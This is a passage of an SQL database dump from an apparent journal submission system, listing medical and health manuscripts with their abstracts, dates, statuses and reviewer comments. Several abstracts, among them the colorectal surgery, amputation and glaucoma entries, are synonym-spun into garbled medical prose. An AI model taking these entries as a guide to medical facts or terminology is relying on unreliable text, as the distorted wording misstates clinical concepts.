analysis , Lyostat',2231,NULL,'2021-08-21',NULL,'Submitted',14,NULL,'2021-08-25',NULL,1,1,'1','      ',0,'','',NULL,0,0,0,NULL,0),(10176,10893,73,0,'ipjnn-21-10176','Hypothesis on the Presence of Smooth Muscle Lysis Factor as a Marker  In the Diagnosis of Neuroleptic Malignant Syndrome',NULL,8,2,'','Dopamine as a neurotransmitter acts to convey messages from one cell to another and it’s secretion decrease leads to numerous diseases of motor impairment such as Parkinson disease. In the same way, the use of particular drugs that block the dopamine receptors in the brain cells results in muscle rigidity increase. One of the side effects of these drugs can be Neuroleptic Malignant Syndrome (NMS). NMS is a relatively rare but potentially fatal complication of the use of neuroleptic drugs. Measuring blood CPK (Creatine Phosphokinase ) enzyme – the result of the tension and lysis in the body of stripped muscles– can be used as one of the experimental and documentary factors to diagnose and also confirm this disease. The symptoms of NMS -considered as atypical symptoms in scientific articles- can be explained by the changes on the level of Acetylcholine. Acetylcholine functions as a neurotransmitter in the autonomic nervous system, acting in both preganglionic and postganglionic neurons as well as being the final released product of parasympathetic postganglionic neurons. Acetylcholine release from cholinergic interneurons activates muscarinic receptors and has multiple effects that oppose dopamine release and signaling (the dopamine whose function is related to motor actions). This led to the formulation of the hypothesis that the imbalance between dopamine and acetylcholine in the striatum area is critical for maintaining normal motor function. Due to the effect of acetylcholine on the smooth muscles of the body internal organs, this hypothesis focuses on the idea shows that the tension and lysis in the body smooth muscles might produce a factor similar to CPK in the blood.','Dopamine; Neuroleptic Malignant Syndrome; Acetylcholine; smooth muscles; Creatine Phosphokinase',327,NULL,'2021-08-21',NULL,'Submitted',19,NULL,'2021-10-24',NULL,1,1,'0',NULL,0,'','',NULL,0,4,0,NULL,0),(10178,10896,277,0,'ipadm-21-10178','Corticoides en sepsis, la evidencia disponible',NULL,15,0,'','Introducción: El tratamiento con corticoides en el choque séptico refractario, históricamente ha sido de gran controversia, teniendo en cuenta los resultados heterogéneos encontrados en los diferentes ensayos clínicos aleatorizados. Sin embargo, a la luz de la evidencia actual, Se reconoce que, a pesar de no impactar de forma significativa en la mortalidad, posee beneficio disminuyendo la duración del choque, el uso de vasopresores, la estancia en unidad de cuidados intensivos y en los días de ventilación mecánica. Metodología: se realizó una revisión narrativa acerca de la corticoides en choque séptico, mediante una búsqueda sistemática en PubMed, Medline, Cochrane, y RIMA, de artículos en inglés y español, desde el 1 de enero del año 1980 al 01 de agosto de 2021 tomando como palabras clave choque séptico, síndrome de respuesta inflamatoria sistémica, corticoides. Se realizó una revisión crítica de la evidencia mediante la metodología GRADE (Grades of Recommendation, Assessment, Development, and Evaluation), calificando la calidad de la evidencia y el nivel de recomendación. Se incluyeron un total de 20 trabajos. Se verificaron las listas de referencias de todos los estudios previamente identificados. Conclusiones: El uso de corticoides podría ser beneficioso en los pacientes con choque séptico refractario debido a su beneficio en la disminución de los días de choque, uso de vasopresores, estancia en cuidados intensivos y días de ventilación mecánica, pero, su uso debe ser individualizado teniendo en cuenta los efectos secundarios asociados al uso de los mismos, como la hipernatremia, hiperglicemia y debilidad muscular en el paciente crítico.\r\n','Choque séptico, Sindrome de respuesta inflamatoria sistémica, Hormonas adrenales.(DeCS)',2805,NULL,'2021-08-21',NULL,'Submitted',2,NULL,'2022-03-28',NULL,1,1,'0','Title: CORTICOIDES EN SEPSIS, LA EVIDENCIA DISPONIBLE\r\n\r\nCORTICOIDS IN SEPSIS, THE AVAILABLE EVIDENCE\r\n\r\nCorticosteroid therapy did not reduce short-term or long-term mortality, according to a 2018 meta-analysis that included 22 trials and 7297 patients. However, it did have a shorter duration of shock (-1.52 days; 95 percent CI), shorter stay in intensive care (-1.38 days; 95 percent CI), and shorter duration of mechanical ventilation when compared to placebo (-0.75 days; 95 percent CI).\r\n\r\nThe author has explained the mortality rate clearly with respective references.\r\n\r\n',0,'','',NULL,0,0,0,NULL,0),(10182,10898,639,0,'ipfs-21-10182','Non-Infectious diseases and biosecurity management practices of fishes health in aquaculture',NULL,15,0,'','This article organized while studying PhD in Aquaculture and fishery management to review non-infectious diseases and biosecurity management of fish in aquaculture. Background: Fish diseases are broadly categorized in to infectious and non-infectious disease. Infectious diseases are caused by pathogenic organisms such as parasitic, bacterial, viral, or fungal, and non-infectious diseases are caused by environmental problems, nutritional deficiencies, or genetic cases; they are not contagious. Many of the diseases that occur in fish are the result of stress, poor water quality, overcrowding, and failure to quarantine any new or sick fish to avoid spread of disease, and these factors can all be minimized by appropriate care and good hygiene. Aquaculture fish health management practices is important to prevent fish disease which begins with prevention rather than treatment. Objectives: The main objective of this study is to assess non-infectious diseases and biosecurity management practices of fish health in aquaculture. Methods: Statistical data were collected by observation and secondary sources such as published articles like researches, reviews, books, etc and organized following the standard scientific methods. Result and conclusion: Fish pathology deals about the cause and nature of diseases, host-pathogen relationships, diagnostic methods, therapy, epidemiology, etc. Fish diseases are caused by parasitic, bacterial, viral, fungal, environmental problems, nutritional deficiencies, and genetic cases. Fish diseases that associated with physico-chemical properties of water are non-infectious environmental diseases, and caused by adverse environmental conditions, nutritional disorders, genetic defects, results sudden mass mortality. Diseases with physical factors are mainly due to handling, transport, high stocking density and predation, and also secondary factors by pathogenic infection may introduced easily set in once injuries. Thus, fish water physico-chemical management practices in aquaculture are important to prevent such fish disease. However, affected fish symptom and diagnosis become skin darkening, swim at the surface, show respiratory distress, end of feeding, abdominal swelling, enlargement of internal organs, focal blood clots, bulging of the eyes, fading of the gills, etc. Transmitted by direct contact or close contact with surrounding contaminated water and infected fishes spreads the disease in healthy ones, via feces, urine, sexual fluids, and external mucus. Effective prevention and control measures includes preventing infected fish movement among watersheds, reducing bird activity around aquaculture, reduce physiological stressors, good environment and adequate nutrition, etc. Treatments, no established treatment so far, however, chemotherapy, antibiotics, bath, etc are advisable. In conclusion, regularly removing contaminants from water, disinfect all equipment used for tank cleaning, administer dietary additives and immuno-stimulants are important prevention measures. If not, it cause various effects including direct mortalities, losses due to reduced growth, product quality and social factors, and costs of control measures. Therefore, prevention, strict isolation, environmental observations to ponds, including water quality, temperature, oxygen, pH, salinity, turbidity, algal blooms, evasion of overpopulation, human activity and also proper biosecurity management practices of aquaculture are basic recommended activities for controlling diseases of fishes. ','Biosecurity management, Fish diseases, Non-infectious diseases',1774,NULL,'2021-08-22',NULL,'Submitted',4,NULL,'2023-01-17',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10190,10904,45,0,'iphsj-21-10190','Assessing Machine Learning Methods for Predicting Diabetes among Pregnant Women',NULL,14,0,'','Machine Learning has a big impact on a lot of different scientific and technical disciplines, including medical research and Biophysics. Diabetes is a chronic condition marked by abnormally high glucose levels and the body\'s inefficient utilization of insulin. Diabetes is now becoming a leading cause of death all over the world. The objective of this article was to use multiple. Machine Learning methods are used to create a model with a limited number of dependencies, which could be used to study diabetic patients and diagnose diabetes using the PIMA dataset. Some of the most well-known prediction algorithms employed in this system are SVM (support vector machine), Multinomial Naive Bayes, Random forest, and Decision tree. Use these algorithms to construct a gathering of models by combining multiple combinations into one. This will enhance performance and accuracy.','Diabetes prediction; a dataset of PIMA; train test split; machine learning; classification.',4610,NULL,'2021-08-23',NULL,'Submitted',4,NULL,'2021-12-31',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10192,10905,975,0,'ipjbs-21-10192','Engine Room of Modern Biomedical Science ',NULL,3,0,'','Biomedical Science is the engine room of modern medicine. All samples taken by a Biomedical Scientist, without biomedical scientists, doctors wouldn\'t be ready to diagnose diseases properly or treat patients effectively. Today’s Biomedical Scientists is probably going to be found in modern, bright surroundings using the newest state of the art equipment.\r\nIn medical microbiology, we can study about the micro-organisms such as bacteria, fungi and parasites which causes disease and we can identify these organisms and establish the antibiotic treatment required to kill them therefore stopping the disease.\r\n','Haematology; Leukaemia; Citology; Virology; Cellular material',4089,NULL,'2021-08-23',NULL,'Submitted',16,NULL,'2021-08-28',NULL,1,1,'1','can be publish',0,'','',NULL,0,0,0,NULL,0),(10200,10910,85,0,'iphspr-21-10200','How household income and consumption are affected by lifestyle diseases in an emerging economy?',NULL,3,0,'','This article is a commentary on the research paper titled ‘Impact of lifestyle diseases on income and household consumption: Evidence from an emerging economy’ published in the Health Marketing Quarterly Journal (Jaikumer et al., 2021). In this paper, the authors showcase the abnormal increase in lifestyle diseases such as diabetes, hypertension and heart diseases, in India, an emerging economy. Such emerging economies are characterized by low insurance coverage, with out-of-pocket expenses accounting for over 89% of medical expenses, as compared to the 18% world average (Koshy, 2017).','Health, Global health, health care ',3413,NULL,'2021-08-24',NULL,'Submitted',2,NULL,'2021-10-14',NULL,1,1,'1',' ',0,'','',NULL,0,0,0,NULL,0),(10222,10924,85,0,'iphspr-21-10222','commentary on new media platform understands of Chinese social workers’ anti-epidemic actions: an analysis of network public opinion based on COVID-19',NULL,3,0,'','This article adopted the ”5 W” communication model to study public opinion evolution, text content, communication media, audiences, and influence of public opinion. A model for generation of network public opinion was constructed through the research process of open coding, axis coding, and selective coding, etc.When information about public events is projected onto Internet users, their understanding and cognition of projection events may be affected by personal characteristics such as their own life experiences, role positioning, and news information released by official media and corporate media, then emotions, attitudes, opinions, and behavioral tendencies of event cognition are ultimately formed, which together constitute network public opinion','Global health, health care, ',3242,NULL,'2021-08-25',NULL,'Submitted',2,NULL,'2021-10-28',NULL,1,1,'1',' Accepted the Article.',0,'','',NULL,0,0,0,NULL,0),(10229,9456,86,0,'ipaom-21-10229','Brief Note on Pulmonary Hypertension',NULL,5,0,'','Pulmonary hypertension is a fatal disease of multiple etiologies that is estimated to affect over 100 million people worldwide. The disease is defined hemodynamically as a mean pulmonary artery pressure ? 25 mmHg at rest.','Pulmonary hypertension',2890,NULL,'2021-08-25',NULL,'Submitted',2,NULL,'2021-08-30',NULL,1,1,'1','Accept',0,NULL,NULL,NULL,0,0,0,NULL,0),(10234,10931,251,0,'ipacm-21-10234','Invitro activity of RD-3 and ER-2 against clinical isolates of C. pneumoniae ',NULL,17,0,'','We evaluated the invitro activity of RD-3 and ER-2 against clinical isolates of C. pneumoniae. Susceptibility testing was done in Hep-2 cells. The MIC90 and MBC90 of RD-3, ER-2, doxycycline, azithromycin, moxifloxacin and levofloxacin were 0.125, 0.25, 0.25, 0.25, 0.5, 0.5mg/L respectively. RD-3 exhibited excellent activity against clinical isolates of C. pneumoniae  and may have a potential role in treating Chlamydial infections.','C. pneumoniae, invitro activity, clinical isolates.',2876,NULL,'2021-08-25',NULL,'Submitted',2,NULL,'2021-10-07',NULL,1,1,'1','   ',0,'','',NULL,0,0,0,NULL,0),(10241,10940,85,0,'iphspr-21-10241','Protective factors to moderate the intergenerational cycle of maltreatment; the review of literature and suggestions for potential intervention.',NULL,15,0,'','Child maltreatment is a significant public health problem. The history of maltreatment poses negative effects not only on the victims but also the future generations through the continuity of maltreatment. While the majority of the individuals who experienced maltreatment break the cycle, the mechanisms for discontinuity, especially the whole picture of moderating effects of protective factors have not been well documented. This paper aims to review and summarize the previous studies for protective factors and propose some recommendations for potential intervention and future research. 19 articles analyzing at least one protective factor in the context of intergenerational continuity of child maltreatment were reviewed. The protective factors were found across the individual, relationship, and contextual levels, while the majority of studies focused on individual and relational factors. Since fewer experiences of maltreatment and fewer traumatic or psychological symptoms were associated with the discontinuity, early detection and intervention, as well as treatment with the life course perspectives are essential. Also, the role of supportive relationships with partners was highlighted in numerous studies. Parental intervention such as home visitation or other preventive measures for maltreatment should involve partners more effectively, since partners can show good models for parenting, can provide emotional support, and can be a source of social support. Future studies should explore more contextual protective factors to end the cycle of maltreatment.','Health, global health, E health',3413,NULL,'2021-08-26',NULL,'Submitted',4,NULL,'2021-12-24',NULL,1,1,'0',' Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10252,10946,73,0,'ipjnn-21-10252','Intracranial Primary Castleman Disease, case report',NULL,2,0,'Intracranial Primary Castleman Disease, case report','Castleman disease is a rare lymphoproliferative disorder. Its etiology is unknown and its course is usually benign. It is secondary to an irregular growth of lymphatic tissue and it can exhibit 2 forms: a localized and a disseminated or multicentric. Histopathological there are 3 forms: hyaline vascular, plasma cell and mixed or transitional, when meninges are affected. When the affection is meningeal is mimics a meningioma. We reported a rare case of 38 years old woman which developed seizures, the MRI shoed a cerebral tumor that was diagnosed as meningioma. Tumoral exegesis was performed, histologically it was characterized by a dense lymphocytic infiltrate with abundant lymphoblasts and plasma cells forming germinal centers. The vessels showed lymphoblast proliferation, with hyalinized stroma. For immunohistochemistry a large number of lymphoblasts observed were also Il6 positive. We report the first case of this rare disease in our institution, an injury that was confused and treated as meningioma.','Key Works: Castleman disease, hyaline vascular subtype, plasmatic cells. Immunohistochemistry.',4656,NULL,'2021-08-27',NULL,'Submitted',2,NULL,'2021-09-21',NULL,1,1,'0','Accept for the publication!',0,'','',NULL,0,0,0,NULL,0),(10253,10947,277,0,NULL,'HONGO NEGRO Y LA COVID19 LO QUE SABEMOS AL DIA DE HOY EN LAS AMERICAS ',NULL,15,1,'COVID 19','Antecedentes; La pandemia dada por la COVID19 ha representado un gran reto para la comunidad científica y política de todo el mundo, nadie siquiera imaginaba la magnitud que tendría tal enfermedad mucho menos se pensaba que esta entidad iba a dar origen a otras enfermedades infecciosas sobre agregada como es el caso de Hongo Negro, en este apartado estudiaremos el grado de compromiso de esta enfermedad emergente de la que poco o nada se escuchaba hablar y su relación con la COVID19.  \\r\\nMetodología; se realizó una revisión narrativa en diferentes revistas indexadas y demás utilizando palabras claves como hongo negro, mucormicosis, COVID19, con el fin de obtener artículos originales y de revisión cuyo contenido brindara información actualizada y de gran contenido científico. Se obtuvieron inicialmente 30 artículos, pero luego de aplicar nuestros criterios de inclusión y exclusión se seleccionaron 14 de los cuales recogimos la información más aplicable y relevante posible. \\r\\nResultados; La Mucormicosis u Hongo negro es una infección micotica oportunista que afecta en gran medida a los individuos con COVID19 y puede alcanzar hasta un 30% de mortalidad en estos pacientes.\\r\\nDado que es una enfermedad oportunista los pacientes deben padecer una enfermedad subyacente la cual en la mayoría de los casos son diabetes mal controlada, estados de cetoacidosis diabética, neoplasias malignas hematológicas o tratamientos con altas cargas de glucocorticoides.\\r\\n Conclusión; la siguiente revisión ofrece información actualizada acerca de lo que se sabe sobre la enfermedad del Hongo Negro y su relación con la COVID19, presentación clínica, así como los factores desencadenantes, la orientación diagnostica y el manejo medico indicado.\\r\\n','Palabras claves: Covid 19, Hongo negro, Mucormicosis',2805,NULL,'2021-08-27',NULL,'Submitted',18,NULL,NULL,NULL,1,0,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10263,7252,45,0,'iphsj-21-10263','THE IMPACT OF AQUATIC PSYCHOMOTRICITY ON MOTOR AND COGNITIVE FUNCTION IN ELDERLY PEOPLE WITH STROKE SEQUELS',NULL,14,0,'','This research sought to verify the influence of aquatic psychomotricity on elderly people with stroke sequels. This is a longitudinal study, with a descriptive and quantitative approach. 21 volunteers were selected, diagnosed with stroke and hemiparesis, which were submitted to a protocol of 8 sessions twice a week for 60 minutes and evaluated by the Gerontopsychomotor Observation Scale and Performance Scale. In the observation scale all aspects were significant (p? 0.05), except in short-term memory (p=0.0797). The performance scale, used to quantify the evolution of patients during treatment, showed an improvement in autonomy during the activities. The protocol of the study proved to be effective, with benefits in cognitive functions and activities of daily living. Therefore, aquatic psychomotricity proved to be effective in mitigating stroke dysfunctions in the elderly.','Stroke, Physiotherapy, Aged, Psychomotor Performance',643,NULL,'2021-08-28',NULL,'Submitted',2,NULL,'2021-09-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10265,10956,667,0,'iptb-21-10265','ASSOCIATION OF SHOULDER INJURIES IN FAST BOWLING CRICKET PLAYERS',NULL,15,0,'','Journal for publication ','',4823,NULL,'2021-08-28',NULL,'Submitted',2,NULL,'2021-10-05',NULL,1,1,'0','Approved',0,'','',NULL,0,0,0,NULL,0),(10268,10959,971,0,'ipaclr-21-10268','Evaluation of Biochemical and Hematological Markers of Cerebrospinal Fluid in Patients Suspected with Meningitis',NULL,14,0,'','Background: Cerebrospinal fluid (CSF) and blood cultures are gold standard tests for establishing the diagnosis of meningitis; however, they are labor-intensive and require longer turnaround time before the results are available to the physician. This study was conducted to evaluate the levels of laboratory markers in CSF samples.\r\nDesign and Methods: A total of 248 CSF samples were received from 137 patients suspected with meningitis. The samples were collected by our physicians and sent to the laboratory for immediate analysis. White blood cell (WBC) count and levels of glucose and total protein (TP) were analyzed. CSF culture was done for all samples in the microbiology laboratory. Diagnostic sensitivity and specificity were calculated.\r\nResults: The majority of samples were received from neonates (61 patients [44.5%], aged <1 year), children (36 patients [24.3%], aged <18 years), and adults (40 patients [29.2%], aged >18 years). There were 47 (34.3%) females. Culture results revealed 15 samples (7.7%) positive for bacterial meningitis. Sensitivities for WBC count and TP and glucose levels were 73.3%, 86.7%, and 60%, respectively, and the respective specificities were 75.4%, 36.1%, and 30.7%. Positive predictive values were 20%, 10.2%, and 6.7%, respectively, and negative predictive values were 97.1%, 97%, and 90.2%, respectively. The overall accuracy rates were 75.3%, 40%, and 33%, respectively.\r\nConclusion: CSF and blood cultures demonstrated good sensitivity but low specificity, with the exception of WBC count. These tests were sufficient to rule out meningitis.\r\n','Keywords: Cerebrospinal Fluid,  Meningitis, CSF.',3236,NULL,'2021-08-28',NULL,'Submitted',4,NULL,'2021-11-18',NULL,1,1,'0',NULL,0,'','',NULL,0,0,0,NULL,0),(10275,10896,277,0,'ipadm-21-10275','Infección fulminante por Vibrio vulnificus como causante de falla hepática aguda sobrecrónica Reporte de caso.',NULL,2,0,'','Vibrio vulnificus (VV) es una bacteria halófila, gram negativa. Es el patógeno más mortal transmitido por alimentos, representando casi el 95% de todas las muertes relacionadas con mariscos. Se encuentra naturalmente en aguas estuarinas,  su principal hospedador son las ostras, almejas y mariscos crudos o mal cocidos. Afecta principalmente a hombres, condiciones como diabetes mellitus, cirrosis hepática, hemocromatosis, enfermedad renal crónica e inmunosupresión son factores de riesgo para presentar septicemia e infección de tejidos blandos. \r\nSe requiere un alto índice de sospecha, puesto que un adecuado enfoque terapéutico puede disminuir la mortalidad en septicemia, la cual puede ser del 50% en las primeras 24 a 48 horas. Presentamos el caso de un hombre de 68 años con antecedentes de cirrosis hepática y consumo de mariscos que desarrollo sepsis y disfunción orgánica múltiple de rápida evolución, con desenlace fatal a pesar del manejo médico.','Sepsis, Vibrio vulnificus, Bacteremia, Falla Hepática',2805,NULL,'2021-08-30',NULL,'Submitted',2,NULL,'2022-03-29',NULL,1,1,'0','El manuscrito es interesante y este informe de caso está sucediendo más en los últimos tiempos.\r\n\r\nVibrio vulnificus (VV) es una bacteria halófila, gram negativa. Es el patógeno más mortal transmitido por alimentos, representando casi el 95% de todas las muertes relacionadas con mariscos. Se encuentra naturalmente en aguas estuarinas,  su principal hospedador son las ostras, almejas y mariscos crudos o mal cocidos.\r\n\r\nRecomiendo este artículo para proceder a publicar.\r\n\r\n\r\nThe manuscript is interesting and this case report is happening more of late.\r\n\r\nVibrio vulnificus (VV) is a halophilic, gram-negative bacterium. It is the deadliest foodborne pathogen, accounting for nearly 95% of all shellfish-related deaths. It is found naturally in estuarine waters, its main host is oysters, clams and raw or undercooked shellfish.\r\n\r\nI recommend this article to proceed to publish.',0,NULL,NULL,NULL,0,0,0,NULL,0),(10298,10986,45,0,'iphsj-21-10298','A cross sectional study on Social and Cultural Food Taboos related Barrier in prevention of Anemia in pregnant women of Amravati District, Maharashtra India. ',NULL,12,0,'','Abstract: \r\nBackground: \r\nAnemia is a major health challenge in developing countries during pregnancy, including India. Nutritional requirements increases during pregnancy, and restrictions on compsumption of foods rich in the required nutrients may have negative consequences for a mother as well as for her growing fetus. Therefore, our objective for performing this study was to evaluate the social and cultural barriers in the prevention of Anemia and to evaluate the perceptions and practices of anemic women.\r\nMethods:\r\nA cross-sectional questionnaire-based study, including 100 pregnant women, was conducted in a Vatsalya Hospital, Amravati. In-depth interviews were conducted with these 100 patients.\r\nResults: Total 100 antenatal women were taken for the study. In which the                    sociodemographic profile of the participants, distribution of participants as per obstetric history and admissions along with their education, description of  past medical history, and their knowledge and attitudes along with the actual practices were studied.\r\nConclusion: As a conclusion, adherence to social and cultural related food beliefs is evident in pregnant women found in Amravati city. There is a need for nutritional education and awareness creation about the nutritional consequences of following food taboos and iron supplements. As a short-term intervention, this kind of education should be developed and disseminated during ANC follow-ups, and should target not only pregnant women but also their husbands and families. In the longer-run, the literacy level of mothers should be improved across the life cycle to avoid such misconceptions.\r\nKeywords: Anemia, Food Taboos, antinatal care, nutritional care\r\n','Keywords: Anemia, Food Taboos, antinatal care, nutritional care',2879,NULL,'2021-08-30',NULL,'Submitted',16,NULL,'2021-09-15',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10299,10987,45,0,'iphsj-21-10299','Cytokine storm goes hand in hand with prolonged fever in SARS COVID-19: A study on 1324 patients database of past 1 year.',NULL,14,0,'','Abstract\\r\\nBackground:\\r\\n Clinical intervention in patients with SARS has demonstrated upregulation of cytokine production in patients with prolonged fever. Such an association between fever & cytokine storm is studied in the present research which is an hospital-based case-control study of COVID-19 patients. To the best of our knowledge, the present study is the first study on Indian population which highlights the link between prolonged fever, lymphocyte count and cytokine profile in patients with COVID-19 disease. \\r\\nMethods- We conducted a hospital-based case–control study of patients admitted for COVID-19 with prolonged fever and short duration of fever with a positive SARS-CoV-2 reverse transcriptase polymerase chain reaction (RT-PCR). All the patients underwent investigations which includes HRCT chest, Complete Blood Count (CBC), Renal and liver panel, C- reactive protein (CRP), lactate dehydrogenase (LDH), Interleukin -6 (IL-6) and Ferritin, as a part of their COVID-19 protocol clinical laboratory findings at regular intervals till discharge.\\r\\nConclusions- The study reported that prolonged fever i.e., fever > 7 days from beginning of illness was associated with increased risk of cytokine storm from COVID-19 than patients with short duration of fever. There was also a marked reduction in lymphocyte count with increased levels of inflammatory markers and fever which is again considered an indicator of poor prognosis. \\r\\nThe study concludes that prolonged fever should be considered as one of the earliest markers for predisposing the patient to the cytokine storm. These early signs if diagnosed correctly right at the inception of complications the further progression of cytokine storm could be avoided, which can minimize the mortality and foster the chances of patient’s recovery from this deadly disease. \\r\\n\\r\\n','Keywords: COVID-19; cytokines storm; prolonged fever; short duration of fever.',4825,NULL,'2021-08-30',NULL,'Submitted',16,NULL,'2021-09-15',NULL,1,1,'1','Accepted',0,'','',NULL,0,0,0,NULL,0),(10308,10993,45,0,'iphsj-21-10308','Simulating Tele Medicine by The Utilization of Tele-Standardized Patient  ',NULL,9,0,'','During COVID-19, education has been shifted to online, which decreased students\' clinical skills. Thus, there was a try to reduce the gap between clinical and theoretical gap by implementing Telemedicine simulation and called (Tele-SP), which gives the students to practice communication skills, history taking, and general assessment. ','Standardized patient, tele-medicine, Covid-19 ',4076,NULL,'2021-08-30',NULL,'Submitted',16,NULL,'2021-09-15',NULL,1,1,'0','Accepted',0,'','',NULL,0,0,0,NULL,0),(10309,10994,277,0,NULL,'USO DE IVERMECTINA EN PACIENTES CON DIAGNÓSTICO O SOSPECHA DE INFECCIÓN POR COVID-19 EN MAGANGUÉ BOLÍVAR (MAGCOV1)',NULL,14,2,'COVID 19','Introducción: El SARS-CoV-2 es el agente biológico que causa la COVID-19, una enfermedad respiratoria que se reportó inicialmente como una neumonía atípica en diciembre de 2019, aproximadamente el 40% de los pacientes no presentan ningún síntoma asociado, y hasta un 65% presentan síntomas leves que no requieren manejo intrahospitalario. Aún no se dispone de un esquema terapéutico unificado, por lo que cada médico y teniendo en cuenta las características de los pacientes escogen el manejo que consideran pertinente. Uno de los medicamentos más usados es la Ivermectina, un antiparasitario de amplio espectro que ha demostrado en algunas investigaciones mejoría de los síntomas por covid-19.\r\nObjetivo: Explorar el uso de Ivermectina en pacientes con diagnóstico o sospecha de infección por covid-19 en Magangué Bolívar\r\nMétodos: se realizó un estudio observacional descriptivo con enfoque cuántico- cualitativo en el que se incluyeron los pacientes con diagnóstico o sospecha de infección por covid 19, se registró mediante un formulario de Google variables clínica y los medicamentos instaurados, luego se realizó seguimiento durante 3 meses evaluando mejoría de síntomas y a que fármacos atribuían dicha mejoría. \r\nResultados: se incluyeron en el análisis 181 pacientes que completaron el seguimiento.  Los síntomas más frecuentes fueron el malestar general, seguido de la anosmia/ageusia, la tos y los dolores osteomusculares. La Ivermectina proporcionó mayor sensación de mejoría que los antibióticos y el ASA, con diferencias estadísticamente significativas. \r\nConclusiones: los pacientes con síntomas leves de covid 19 atribuyen mejoría clínica con el uso de Ivermectina por encima de otros fármacos como acetaminofén, AINEs, antibióticos, corticoides e inhaladores.\r\n','Palabras claves: covid-19, Medicamentos, Ambulatorio',2805,NULL,'2021-08-31',NULL,'Submitted',19,NULL,NULL,NULL,1,0,'1',NULL,0,'','',NULL,0,4,0,NULL,0),(10315,10307,45,0,'iphsj-21-10315','Fluorescence Immunoassay Analyzer Plays an Important Role in Rapid Test of the Time of the COVID-19 Epidemic',NULL,15,0,'','Objective: Mainly compare the differences between PCR; antibody, antigen rapid test with Fluorescence Immunoassay Analyzer for COVID-19.\r\nMethods: Compare the sensitivity, specificity and the accuracy of different manufacturers’ COVID-19 antibody and antigen rapid tests with Fluorescence Immunoassay Analyzer. Different onset time samples were tested with RT-PCR and COVID-19 antibody and antigen rapid tests with Fluorescence Immunoassay Analyzer. The sample used for rapid detection of COVID-19 antigen was nasopharyngeal swab. Three kinds of sample used in the detection of novel coronavirus antibodies were venipuncture/ fingerstick whole blood and serum.\r\nResults: The detection rate of covid-19 antibody was increased with the increase of the onset time of patients, while the detection rate of antigen was decreased gradually, which was corresponding to the nature of antigen and antibody in the human body. \r\nConclusion: Different detection methods have their own advantages in different application fields. We through products (FIATEST,SOFIA, BINAXNOW) in antigen detection and products (FIATEST, SD BIOSENSOR, BODITECH) in antibody detection to predict the advantages of convenient and sample collection, high throughput, low workload, high reproducibility and low cost in practical applications.','COVID-19; Rapid test; PCR; Antigen; Antibody; Fluorescence Immunoassay Analyzer',643,NULL,'2021-08-31',NULL,'Submitted',2,NULL,'2021-09-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10322,11001,85,0,'iphspr-21-10322','The relationship between authoritative parenting style, emotion-regulation, and young adult children’s prosocial behaviour',NULL,17,0,'','This study had investigated how emotion-regulation acts as a mediating role between authoritative parenting style and young adults’ prosocial behavior.\r\nParenting styles can be classified into three categories, which are authoritarian, permissive, and authoritative parenting styles (Baumrind, 1971). Authoritarian parents are those who are strict and autocratic to their children. They require their children to obey their command without complaint or rebellion. Permissive parents refer to those who are relatively laissez-faire. While authoritative parents are strict but also warm, and are willing to explain the discipline and rules to the children. \r\n','Health, Global health, Health care',4068,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-10-28',NULL,1,1,'1',' Accepted the Article',0,'','',NULL,0,0,0,NULL,0),(10329,11008,326,0,'IPJUS-21-10329','Colorectal surgery: Postoperative Complications',NULL,5,0,'','Colorectal medical procedure patients as often as possible experience the ill effects of postoperative entanglements. Patients with confusions have been demonstrated to be at higher danger for mortality, poor oncologic results, extra entanglements, and more awful personal satisfaction. Difficulties are progressively perceived as markers of nature of care with more utilization of hazard changed public careful data sets and expanding straightforwardness in medical care. Quality improvement work in colorectal medical procedure has distinguished techniques to diminish difficulty rates and further develop results in this understanding populace.','Colorectal; surgery; Complications',2505,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10330,11008,326,0,'IPJUS-21-10330','Commentary on Transmetatarsal Amputations',NULL,3,0,'','In recent times, increased attention has been placed on the alarming increase in the incidence of diabetes. Diabetic foot ulcers happen in up to 15% of diabetic patients, and removal rates among this populace have been archived as 11%. Specifically instances of serious foot contamination, removal ought to not really be viewed as disappointment of care, but instead the most suitable intercession for forestalling more proximal spread and constant medical clinic participation. Forceful administration of extreme foot contamination/ulceration can decrease the danger of proximal removal. \r\nTransmetatarsal Amputation: An extent of the diabetic local area experience genuine and incapacitating entanglements related with their feet, with a 12–25% expanded danger of creating foot ulceration. Improvement of diabetic foot ulceration is frequently a multifactorial cycle; be that as it may, the presence of impacts, for example, neuropathy and fringe vascular sickness is perceived as huge contributing variable. The neuroischaemic ulceration represents 90% of those experienced in the diabetic populace, and around half of diabetic foot wounds foster a disease, the larger part including just delicate tissue. In conditions where delicate tissue contamination is serious or where fundamental bone is tainted, removal might be viewed as a suitable line of treatment. Factories et al. [6] perceived that contamination and gangrene due to microvascular infection were two main considerations that brought about disappointment of wound mending, bringing about removal.','Transmetatarsal; Amputation; Diabetics',2505,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10331,11008,326,0,'IPJUS-21-10331','Glaucoma: Pathophysiology & Treatment',NULL,17,0,'','Glaucoma is an overall driving reason for irreversible vision misfortune. Since it very well might be asymptomatic until a moderately late stage, determination is regularly deferred. An overall comprehension of the sickness pathophysiology, analysis, and therapy might help essential consideration doctors in alluding high-hazard patients for complete ophthalmologic assessment and in more effectively partaking under the watchful eye of patients influenced by this condition.','Glaucoma; Pathophysiology; Treatment',2505,NULL,'2021-09-01',NULL,'Submitted',2,NULL,'2021-09-04',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(10332,11008,326,0,'IPJUS-21-10332','Strategies for the prevention of knee osteoarthritis',NULL,5,0,'','Generally, Osteoarthritis (OA) was analyzed by the utilization of radiography, and joint arthroplasty was viewed as the solitary successful treatment. Notwithstanding, the consequences of the previous 20 years of examination have changed our contemplating the sickness, and regarding how and when to treat it. We know today that OA regularly requires a very long time to create and has a scope of related danger factors. We additionally realize that impressive harshness exists among 